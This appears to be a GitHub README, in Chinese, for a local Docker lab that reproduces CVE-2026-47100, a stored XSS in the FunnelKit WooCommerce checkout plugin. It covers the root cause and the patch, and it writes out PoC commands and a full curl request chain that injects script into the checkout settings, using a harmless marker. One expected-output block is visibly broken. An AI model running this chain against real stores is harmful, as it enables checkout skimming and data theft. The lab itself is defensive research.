rootdirective-sec/CVE-2026-47100-Analysis-Lab
GitHub: rootdirective-sec/CVE-2026-47100-Analysis-Lab
该项目是一个基于 Docker 的漏洞复现实验室,用于复现和分析 FunnelKit for WooCommerce Checkout 插件中因缺少授权检查而导致的存储型 XSS 漏洞(CVE-2026-47100)。
Stars: 0 | Forks: 0
# CVE-2026-47100 — FunnelKit / Funnel Builder for WooCommerce Checkout Stored XSS 实验环境
## 1. 概述
CVE-2026-47100 是 **Funnel Builder / FunnelKit for WooCommerce Checkout** 在 **3.15.0.3** 版本之前存在的一个缺失授权漏洞。
存在漏洞的 checkout AJAX 流程允许未经身份验证的访问者调用内部插件方法,并将数据写入 FunnelKit 内置的全局外部脚本设置中。由于该设置随后会在 FunnelKit checkout 页面上渲染,此问题可能演变为** checkout 页面上的未经身份验证的 Stored XSS**。
本仓库使用两个 Docker 服务在本地复现了该问题:
| 服务 | 版本 | URL | 预期结果 |
| --------- | -------: | ----------------------- | ----------------------------------- |
| `vuln` | 3.15.0.2 | `http://127.0.0.1:8081` | 确认存在漏洞行为 |
| `patched` | 3.15.0.3 | `http://127.0.0.1:8082` | 写入被阻止 / 标记未渲染 |
## 2. Vulnx 发现截图

## 3. 影响
未经身份验证的攻击者可滥用公开的 checkout AJAX 流程,将 JavaScript 持久化存储到 FunnelKit 的全局外部脚本设置中。
在真实的 WooCommerce 商店中,这可能允许恶意 JavaScript 在访问 checkout 页面的用户浏览器中执行。公开的报告已将此类漏洞与 checkout 数据窃取攻击活动联系起来。
本实验环境有意仅使用了一个无害的证明标记:
```
```
## 4. 根本原因
存在漏洞的版本接受来自公开 WooCommerce AJAX 端点的、由用户控制的 checkout 数据:
```
/?wc-ajax=update_order_review
```
在 FunnelKit checkout 流程内部,该请求可能包含:
```
wfacp_input_hidden_data={"action":"update_global_settings_fields", ...}
```
存在漏洞的逻辑会检查提供的操作名称是否作为类方法存在。如果该方法存在,则可以从公开的 checkout 流程中调用它。
简化的漏洞行为:
```
if ( method_exists( __CLASS__, $action ) ) {
self::$output_resp = self::$action( $input_data );
}
```
重要的受攻击者控制的操作是:
```
update_global_settings_fields
```
该方法会更新 WordPress option:
```
_wfacp_global_settings
```
特别是内置的 FunnelKit key:
```
wfacp_global_external_script
```
存储的值随后会被 checkout 模板读取并渲染在 checkout 页面上。这就造成了 Stored XSS 条件。
利用链:
```
Unauthenticated checkout visitor
→ public WooCommerce update_order_review AJAX
→ attacker-controlled wfacp_input_hidden_data[action]
→ update_global_settings_fields()
→ update_option('_wfacp_global_settings')
→ wfacp_global_external_script rendered on checkout page
→ Stored XSS
```
## 5. 补丁概述
版本 **3.15.0.3** 通过两项重要更改强化了存在漏洞的代码路径。
### 5.1 公开操作允许列表
修复后的版本限制了可以从公开 checkout 流程中调用的 checkout 操作。
简化的修复后行为:
```
$allowed_actions = array(
'update_cart_item_quantity',
'update_cart_multiple_page',
'remove_cart_item',
'undo_cart_item',
'prep_fees',
);
if (
is_string( $action ) &&
in_array( $action, $allowed_actions, true ) &&
method_exists( __CLASS__, $action )
) {
self::$output_resp = self::$action( $input_data );
}
```
这防止了未经身份验证的 checkout 请求分发诸如 `update_global_settings_fields` 之类的任意内部方法。
### 5.2 设置更新前的权限检查
修复后的版本还在更新全局设置之前添加了授权检查:
```
if ( ! current_user_can( 'manage_woocommerce' ) ) {
return $resp;
}
```
这意味着全局外部脚本设置应该只能由具有 WooCommerce 管理权限的用户写入。
## 6. 实验环境架构
```
host
├── http://127.0.0.1:8081 → WordPress + WooCommerce + FunnelKit 3.15.0.2
└── http://127.0.0.1:8082 → WordPress + WooCommerce + FunnelKit 3.15.0.3
```
种子进程会创建:
```
Lab Product
- WooCommerce product used to create a valid cart/session
- expected product ID in clean lab: 10
Lab Funnel Checkout
- FunnelKit checkout page used to trigger the checkout AJAX flow
- expected checkout post ID in clean lab: 11
```
实验环境使用一个确定性的 checkout URL:
```
/?post_type=wfacp_checkout&p=11
```
这会在本地 Docker 实验环境中显式加载 FunnelKit checkout custom post。
## 7. 运行实验环境
启动实验环境:
```
docker compose up -d --build
```
检查服务:
```
docker compose ps
```
预期的服务:
```
vuln http://127.0.0.1:8081
patched http://127.0.0.1:8082
```
安装 Python 依赖:
```
python3 -m venv .venv
. .venv/bin/activate
pip install requests
```
## 8. PoC 脚本
### 8.1 实验 PoC
`poc/poc_lab.py` 是确定性的实验 PoC。
它假定使用本地 Docker 种子值:
```
product_id = 10
checkout_post_id = 11
```
针对存在漏洞的服务运行:
```
python3 poc/poc_lab.py http://127.0.0.1:8081
```
预期结果:
```
[*] AJAX action: update_global_settings_fields
[*] AJAX status: True
[*] AJAX msg: Changes saved
[*] Marker rendered in HTML: True
=== Result ===
likely_vulnerable: True
[+] Vulnerable behavior confirmed.
```
针对已修复的服务运行:
```
python3 poc/poc_lab.py http://127.0.0.1:8082
```
预期结果:
```
[*] AJAX action: update_global_settings_fields
[*] AJAX status: None
[*] AJAX msg: None
[*] Marker rendered in HTML: False
=== Result ===
likely_vulnerable: False
[-] Vulnerable behavior was not confirmed.
[-] On patched targets this is expected.
```
### 8.2 通用授权自测工具
`poc/poc_check.py` 是一个更具通用性的授权自测工具。
仅被动检查:
```
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11"
```
主动授权检查:
```
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
--product-id 10 \
--active \
--i-am-authorized
```
仅标记模式(无 alert):
```
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
--product-id 10 \
--active \
--i-am-authorized \
--marker-only
```
尝试清理:
```
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
--product-id 10 \
--active \
--i-am-authorized \
--cleanup
```
## 9. 手动测试
### 9.1 存在漏洞的服务
创建一个新的 WooCommerce 会话并将实验产品加入购物车:
```
rm -f /tmp/cve47100-vuln.cookies
curl -s -c /tmp/cve47100-vuln.cookies -b /tmp/cve47100-vuln.cookies \
"http://127.0.0.1:8081/?add-to-cart=10" >/dev/null
```
获取 FunnelKit checkout 页面并提取 WooCommerce checkout nonce:
```
CHECKOUT_HTML=$(curl -s -c /tmp/cve47100-vuln.cookies -b /tmp/cve47100-vuln.cookies \
"http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11")
NONCE=$(printf '%s' "$CHECKOUT_HTML" \
| grep -oE '"update_order_review_nonce":"[^"]+"' \
| head -n1 \
| cut -d: -f2 \
| tr -d '"')
echo "NONCE=$NONCE"
```
发送构造好的 checkout AJAX 请求:
```
curl -i "http://127.0.0.1:8081/?wc-ajax=update_order_review" \
-c /tmp/cve47100-vuln.cookies \
-b /tmp/cve47100-vuln.cookies \
-H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
--data-urlencode "security=${NONCE}" \
--data-urlencode "payment_method=cod" \
--data-urlencode "country=TH" \
--data-urlencode "state=" \
--data-urlencode "postcode=10110" \
--data-urlencode "city=Bangkok" \
--data-urlencode "address=Lab Street" \
--data-urlencode "address_2=" \
--data-urlencode "s_country=TH" \
--data-urlencode "s_state=" \
--data-urlencode "s_postcode=10110" \
--data-urlencode "s_city=Bangkok" \
--data-urlencode "s_address=Lab Street" \
--data-urlencode "s_address_2=" \
--data-urlencode 'post_data=wfacp_input_hidden_data={"action":"update_global_settings_fields","type":"post","data":{"wfacp_global_external_script":""}}'
```
验证 option 是否已被写入:
```
docker compose exec vuln wp --allow-root --path=/var/www/html option get _wfacp_global_settings --format=json
```
预期结果:
```
{
"wfacp_global_external_script": ""}}'
```
验证 option 保持不变:
```
docker compose exec patched wp --allow-root --path=/var/www/html option get _wfacp_global_settings --format=json
```
预期结果:
```
[]
```
验证标记未被渲染:
```
curl -s "http://127.0.0.1:8082/?post_type=wfacp_checkout&p=11" \
| grep -oE '.{0,100}CVE_2026_47100_LAB_PROOF.{0,160}'
```
预期结果:无输出。
## 10. 证据总结
当以下所有条件均成立时,存在漏洞的服务确认了该问题:
```
AJAX action: update_global_settings_fields
AJAX status: True
AJAX msg: Changes saved
Marker rendered in HTML: True
```
当以下条件成立时,已修复的服务确认了修复效果:
```
AJAX action: update_global_settings_fields
AJAX status: None
AJAX msg: None
Marker rendered in HTML: False
_wfacp_global_settings remains []
```
## 11. 安全提示
本仓库仅用于本地、经过授权的安全研究。
允许的范围:
```
localhost
127.0.0.1
Docker Compose lab network
systems you own or have explicit written permission to test
```
不允许的行为:
```
payment skimming
cookie theft
token theft
credential harvesting
external exfiltration
unauthorized testing of third-party stores
```
PoC 仅使用了无害的警告框和标记。
## 12. 参考资料
* CVE 记录:[https://www.cve.org/CVERecord?id=CVE-2026-47100](https://www.cve.org/CVERecord?id=CVE-2026-47100)
* NVD:[https://nvd.nist.gov/vuln/detail/CVE-2026-47100](https://nvd.nist.gov/vuln/detail/CVE-2026-47100)
* VulnCheck 安全通告:[https://www.vulncheck.com/advisories/funnel-builder-for-woocommerce-checkout-missing-authorization-via-ajax](https://www.vulncheck.com/advisories/funnel-builder-for-woocommerce-checkout-missing-authorization-via-ajax)
* Sansec 研究:[https://sansec.io/research/funnelkit-woocommerce-vulnerability-exploited](https://sansec.io/research/funnelkit-woocommerce-vulnerability-exploited)
* WordPress Trac 更改集:[https://plugins.trac.wordpress.org/changeset/3530797/funnel-builder/tags/3.15.0.3/modules/checkouts/includes/class-wfacp-ajax-controller.php](https://plugins.trac.wordpress.org/changeset/3530797/funnel-builder/tags/3.15.0.3/modules/checkouts/includes/class-wfacp-ajax-controller.php)
标签:Docker, Web安全, WooCommerce, WordPress, 安全, 安全防御评估, 应用安全, 文件完整性监控, 漏洞环境, 版权保护, 蓝队分析, 请求拦截, 超时处理, 逆向工具